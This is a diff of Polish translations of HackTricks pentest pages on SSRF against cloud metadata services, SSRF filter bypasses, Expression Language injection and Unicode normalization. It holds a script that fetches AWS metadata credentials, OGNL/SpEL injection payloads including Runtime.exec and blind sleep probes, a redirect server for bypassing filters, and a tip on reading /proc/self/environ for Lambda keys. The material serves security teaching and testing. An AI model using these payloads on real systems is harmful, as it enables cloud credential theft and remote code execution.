Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **dostęp** do punktu końcowego za pomocą **żądań GET** (więc każdy **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token**, wysyłając **żądanie PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokena, aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest **bardziej skomplikowane do wykorzystania** z SSRF).
|
||||
Istnieją **2 wersje** punktu metadanych. **Pierwsza** pozwala na **dostęp** do punktu za pomocą **żądań GET** (więc każdy **SSRF może to wykorzystać**). W **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token**, wysyłając **żądanie PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokena, aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest **bardziej skomplikowane do wykorzystania** z SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoków równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
|
||||
|
||||
Ponadto, **IMDSv2** również **zablokuje żądania pobierające token, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie dostępowi do niego z niewłaściwie skonfigurowanych serwerów proxy.
|
||||
Ponadto, **IMDSv2** również **zablokuje żądania o token, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie dostępowi do niego z niewłaściwie skonfigurowanych proxy odwrotnych.
|
||||
{% endhint %}
|
||||
|
||||
Możesz znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się z niego interesujące informacje:
|
||||
Możesz znaleźć informacje o [punktach metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się z niego interesujące informacje:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -132,7 +124,7 @@ Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do
|
|||
|
||||
W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**. Aby uzyskać do nich dostęp, musisz uzyskać dostęp do czegoś takiego jak **`file:///proc/self/environ`**.
|
||||
|
||||
**Nazwa** **interesujących zmiennych środowiskowych** to:
|
||||
**Nazwy** **interesujących zmiennych środowiskowych** to:
|
||||
|
||||
* `AWS_SESSION_TOKEN`
|
||||
* `AWS_SECRET_ACCESS_KEY`
|
||||
|
@ -141,7 +133,7 @@ W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**
|
|||
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzeń, które są przekazywane do funkcji, gdy jest uruchamiana**. Dane te są udostępniane funkcji za pośrednictwem [interfejsu uruchomieniowego](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe** **informacje** (jak w **stageVariables**). W przeciwieństwie do poświadczeń IAM, dane te są dostępne przez standardowy SSRF pod **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Zauważ, że **poświadczenia lambda** znajdują się w **zmiennych środowiskowych**. Jeśli **ślad stosu** kodu lambda drukuje zmienne środowiskowe, możliwe jest **wykradzenie ich, prowokując błąd** w aplikacji.
|
||||
Zauważ, że **poświadczenia lambda** znajdują się w **zmiennych środowiskowych**. Jeśli więc **ślad stosu** kodu lambda drukuje zmienne środowiskowe, możliwe jest **wykradzenie ich, wywołując błąd** w aplikacji.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF URL dla AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -165,7 +157,7 @@ Możesz [**znaleźć tutaj dokumentację na temat punktów końcowych metadanych
|
|||
|
||||
### SSRF URL dla Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych za pomocą następujących URL-i:
|
||||
Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych za pomocą następujących adresów URL:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
|
@ -398,9 +390,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
Z **env** możesz uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz je wykorzystać do uzyskania tokena do komunikacji z serwerem metadanych.
|
||||
Z **env** możesz uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz ich użyć do zebrania tokena do komunikacji z serwerem metadanych.
|
||||
|
||||
Najczęściej potrzebujesz tokena do jednego z tych zasobów:
|
||||
Najczęściej potrzebujesz tokena dla jednego z tych zasobów:
|
||||
|
||||
* [https://storage.azure.com](https://storage.azure.com/)
|
||||
* [https://vault.azure.net](https://vault.azure.net/)
|
||||
|
@ -506,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dokumentacja dla różnych platform dotycząca usług metadanych jest przedstawiona poniżej, podkreślając metody, dzięki którym można uzyskać dostęp do informacji konfiguracyjnych i runtime dla instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.
|
||||
Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, za pomocą których można uzyskać dostęp do informacji konfiguracyjnych i czasowych dla instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
|
@ -564,23 +556,17 @@ Metadane Ranchera można uzyskać, używając:
|
|||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,23 +6,15 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -175,7 +167,7 @@ Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) może generowa
|
|||
### Bypass via redirect
|
||||
|
||||
Możliwe, że serwer **filtruje oryginalne żądanie** SSRF **ale nie** możliwą **odpowiedź przekierowującą** na to żądanie.\
|
||||
Na przykład, serwer podatny na SSRF poprzez: `url=https://www.google.com/` może **filtruje parametr url**. Ale jeśli użyjesz [serwera python, aby odpowiedzieć z 302](https://pastebin.com/raw/ywAUhFrv) w miejscu, gdzie chcesz przekierować, możesz być w stanie **uzyskać dostęp do filtrowanych adresów IP** jak 127.0.0.1 lub nawet filtrowanych **protokółów** jak gopher.\
|
||||
Na przykład, serwer podatny na SSRF poprzez: `url=https://www.google.com/` może **filtrować parametr url**. Ale jeśli użyjesz [serwera python do odpowiedzi z kodem 302](https://pastebin.com/raw/ywAUhFrv) w miejscu, gdzie chcesz przekierować, możesz być w stanie **uzyskać dostęp do filtrowanych adresów IP** jak 127.0.0.1 lub nawet filtrowanych **protokółów** jak gopher.\
|
||||
[Sprawdź ten raport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -201,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### Sztuczka z ukośnikiem
|
||||
|
||||
Sztuczka _backslash-trick_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na uznaniu znaku ukośnika wstecznego (`\`) przez standard WHATWG za równoważny z ukośnikiem (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL.
|
||||
_Sztuczka z ukośnikiem_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na uznaniu przez standard WHATWG ukośnika wstecznego (`\`) za równoważny ukośnikowi do przodu (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL.
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -216,11 +208,6 @@ obraz z [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-con
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -228,11 +215,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,42 @@
|
|||
# EL - Expression Language
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Bsic Info
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
Expression Language (EL) jest integralną częścią JavaEE, łączącą warstwę prezentacji (np. strony internetowe) z logiką aplikacji (np. zarządzane beany), umożliwiając ich interakcję. Jest głównie używana w:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Expression Language (EL) jest integralną częścią JavaEE, łączącą warstwę prezentacji (np. strony internetowe) z logiką aplikacji (np. zarządzane beany), umożliwiając ich interakcję. Jest głównie używane w:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Do wiązania komponentów UI z danymi/akcjami backendowymi.
|
||||
* **JavaServer Faces (JSF)**: Do wiązania komponentów UI z danymi/akcjami backendu.
|
||||
* **JavaServer Pages (JSP)**: Do dostępu do danych i manipulacji w ramach stron JSP.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: Do ułatwienia interakcji warstwy webowej z zarządzanymi beanami.
|
||||
|
||||
**Konteksty użycia**:
|
||||
|
||||
* **Spring Framework**: Stosowane w różnych modułach, takich jak Security i Data.
|
||||
* **Spring Framework**: Stosowana w różnych modułach, takich jak Security i Data.
|
||||
* **Ogólne użycie**: Poprzez API SpEL przez programistów w językach opartych na JVM, takich jak Java, Kotlin i Scala.
|
||||
|
||||
EL jest obecne w technologiach JavaEE, w samodzielnych środowiskach i rozpoznawalne przez rozszerzenia plików `.jsp` lub `.jsf`, błędy stosu i terminy takie jak "Servlet" w nagłówkach. Jednak jego funkcje i użycie niektórych znaków mogą być zależne od wersji.
|
||||
EL jest obecna w technologiach JavaEE, w środowiskach samodzielnych i rozpoznawalna przez rozszerzenia plików `.jsp` lub `.jsf`, błędy stosu i terminy takie jak "Servlet" w nagłówkach. Jednak jej funkcje i użycie niektórych znaków mogą być zależne od wersji.
|
||||
|
||||
{% hint style="info" %}
|
||||
W zależności od **wersji EL** niektóre **funkcje** mogą być **włączone** lub **wyłączone**, a zazwyczaj niektóre **znaki** mogą być **zabronione**.
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowy przykład
|
||||
## Basic Example
|
||||
|
||||
(Możesz znaleźć inny interesujący samouczek o EL w [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||
(You can find another interesting tutorial about EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||
|
||||
Pobierz z repozytorium [**Maven**](https://mvnrepository.com) pliki jar:
|
||||
|
||||
|
@ -135,7 +121,7 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
|
|||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||||
```
|
||||
* Śpij 10 sekund
|
||||
* Śpij 10 sek.
|
||||
```bash
|
||||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
|
@ -218,7 +204,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
|||
* `sessionScope` - zmienne sesji
|
||||
* `param.X` - wartość parametru, gdzie X to nazwa parametru http
|
||||
|
||||
Będziesz musiał rzutować te zmienne na String, jak:
|
||||
You will need to cast this variables to String like:
|
||||
```bash
|
||||
${sessionScope.toString()}
|
||||
```
|
||||
|
@ -243,18 +229,6 @@ Sprawdź [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -264,7 +238,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,31 +9,17 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź tam więcej szczegółów (zdjęcia stamtąd).
|
||||
**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź tam, aby uzyskać więcej szczegółów (obrazy wzięte stamtąd).
|
||||
|
||||
## Zrozumienie Unicode i Normalizacji
|
||||
|
||||
Normalizacja Unicode to proces, który zapewnia, że różne reprezentacje binarne znaków są standaryzowane do tej samej wartości binarnej. Proces ten jest kluczowy w pracy z ciągami w programowaniu i przetwarzaniu danych. Standard Unicode definiuje dwa typy równoważności znaków:
|
||||
Normalizacja Unicode to proces, który zapewnia, że różne binarne reprezentacje znaków są standaryzowane do tej samej wartości binarnej. Proces ten jest kluczowy w pracy z ciągami w programowaniu i przetwarzaniu danych. Standard Unicode definiuje dwa typy równoważności znaków:
|
||||
|
||||
1. **Równoważność kanoniczna**: Znaki są uważane za kanonicznie równoważne, jeśli mają ten sam wygląd i znaczenie, gdy są drukowane lub wyświetlane.
|
||||
2. **Równoważność kompatybilności**: Słabsza forma równoważności, w której znaki mogą reprezentować ten sam abstrakcyjny znak, ale mogą być wyświetlane inaczej.
|
||||
|
@ -46,8 +32,8 @@ Zrozumienie kodowania Unicode jest kluczowe, szczególnie w przypadku problemów
|
|||
|
||||
* **Punkty kodowe i znaki**: W Unicode każdy znak lub symbol ma przypisaną wartość numeryczną znaną jako "punkt kodowy".
|
||||
* **Reprezentacja bajtów**: Punkt kodowy (lub znak) jest reprezentowany przez jeden lub więcej bajtów w pamięci. Na przykład znaki LATIN-1 (powszechne w krajach anglojęzycznych) są reprezentowane za pomocą jednego bajtu. Jednak języki z większym zestawem znaków potrzebują więcej bajtów do reprezentacji.
